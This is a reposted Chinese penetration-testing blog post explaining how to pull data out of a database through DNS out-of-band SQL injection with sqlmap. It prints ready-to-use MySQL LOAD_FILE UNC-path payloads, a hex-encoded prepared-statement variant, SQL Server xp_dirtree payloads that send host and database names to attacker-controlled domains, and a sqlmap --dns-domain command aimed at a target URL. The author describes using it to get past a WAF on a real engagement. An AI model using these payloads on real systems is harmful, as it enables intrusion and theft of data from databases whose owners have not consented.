sqlmap利用DNS进行oob(out of band)注入(转)

 

0x00 起因

实际案子的时候遇到了一个注入,过狗可以使用sqlmap,但是是基于时间的注入和限制频率需要使用--delay参数,本来就是延时再加上--delay等的心力憔悴。所有有了下面介绍使用sqlmap利用DNS进行oob(out of band)注入,快速出数据。一般情况下仅适用于windows平台

0x01 场景

你有没有遇到这样类似的注入场景。
1、时间盲注,数据库、表及字段内容特别多,等到花儿也谢了。
2、mysql5.6+只能使用mysqlipdo连接方式,多推荐使用pdo连接。使用pdo连接方式,可以执行多语句,但是PDO只会返回第一条SQL语句的执行结果,所以一般不能直接拿到数据,被迫通过update某个可见字段或者sleep注入
3、遇到waf拦截,含有特定内容的返回包接受不到,明明测试没有拦截过滤,感觉执行成功了,却没有接收到返回数据(能执行命令的时候也可以向web目录写文件)

0x02 原理

使用unc路径,会对指定的域名进行dns查询,使用dns信道,配合dns服务器收到的数据可快速得到数据内容。
使用dns有一定的好处,可以突破主机网络隔离,例如dmz主机不能直接连外网,但是配置的网络可达的dns服务器往往可以,通过查询域名递归的方式,dns服务器可以将返回数据通过dns协议带出去。
unc路径是windows下的特性,默认安装的linux下不存在这样的功能。

流程图如下:

mysql使用pdo链接数据库盲注判断是否成功的测试语句(普通的注入也可以参考)

SELECT LOAD_FILE(CONCAT('//',(SELECT 2333),'.mysql.panokaz.exeye.io/abc'));

select hex("SELECT LOAD_FILE(CONCAT('//',(SELECT 2333),'.mysql.panokaz.exeye.io/abc'));")

set @x=0x53454C454354204C4F41445F46494C4528434F4E43415428272F2F272C2853454C45435420277465737427292C272E6D7973716C2E70616E6F6B617A2E65786579652E696F2F6162632729293B;prepare a from @x;execute a;

mysql的使用场景:

之前抓到国内dns递归的上层dns服务器有360、tencent、ali的,如果我有一个这样的节点dns服务器,肯定可以收获很多羞羞的网站,想想还有点小激动呢≥▽≤
sqlserver可以使用以下方式

declare @s varchar(5000),@host varchar(5000) set @s=(host_name()) set @host=CONVERT(varchar(5000),@s)+'sqlserver.panokaz.exeye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"')

sqlserver的使用场景:

0x03 手工测试遇到的问题及解决方案

  1. 因为存在dns缓存,请求过一次域名后,会在本机产生dns记录,不会向外递归查询,所以unc路径中DNS域名不能相同
  2. unc路径长度不能过长,通过sqlserver报错显示
    以 '\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' 开头的 标识符 太长。最大长度为 128。
    可知unc路径最大长度为128
  3. unc路径中不能含有空格等特殊字符,包含的话不会发送dns请求

sqlserver的注入为例,参考sqlmap给出的方案解决

'; DECLARE @host varchar(1024); 
SELECT @host='rMy.'+(SELECT TOP 1 master.dbo.fn_varbintohexstr(CAST(SUBSTRING((ISNULL(CAST(name AS NVARCHAR(4000)),' ')),1,13) AS VARBINARY(8000))) FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 4 name FROM master..sysdatabases ORDER BY name) ORDER BY name)+'.Nrz.rainism.cc'; 
EXEC('master..xp_dirtree "\\'+@host+'\cCkc"')--
  1. 通过在域名中添加随机字符串'rMy','Nrz'确保每次查询dns不存在缓存
  2. 通过使用substring()函数每次传输特定位数的数据
  3. 通过使用master.dbo.fn_varbintohexstr()存储过程对获得数据进行16禁止编码

0x04 使用sqlmap的dns-domain参数进行oob注入

这么方便快捷的注入方式怎么会没有自动化的工具,仔细看过sqlmap文档的同学肯定知道--dns-domain的参数,这就是sqlmap集成的利用dns进行oob注入的方法

使用方法:sqlmap使用--dns-domain参数时候会监听53端口,我们需要把我们获得数据所使用的域名的dns服务器配置到我们运行sqlmap的主机,就可以获得dns外带的数据。

因为配置dns服务器的时候也需要dns,所以我们需要两个域名,详细配置如下:

配置我们的用于解析dns的nameserver的域名ns1.xxx.com,ns2.xxx.com指向我们运行sqlmap的主机ip,这里我使用*通配符配置A记录

配置我们用于外带数据的域名rainism.cc的域名服务器为ns1.xxx.comns2.xxx.com

我们在外网的vps上执行如下命令
sqlmap.py -u 'http://xxoo.com/index.php?id=1*' --random-agent --dns-domain='rainism.cc' -v 3
可以看到sqlmap执行的语句和返回的数据

使用tcpdump监听53端口,可以看到回传的数据内容

 
原文链接地址:https://mp.weixin.qq.com/s/nCvrk6NEb_lDv7MXdXn3vA

 

 

 

posted @ 2018-05-03 10:27  渗透测试中心  阅读(4989)  评论(0编辑  收藏  举报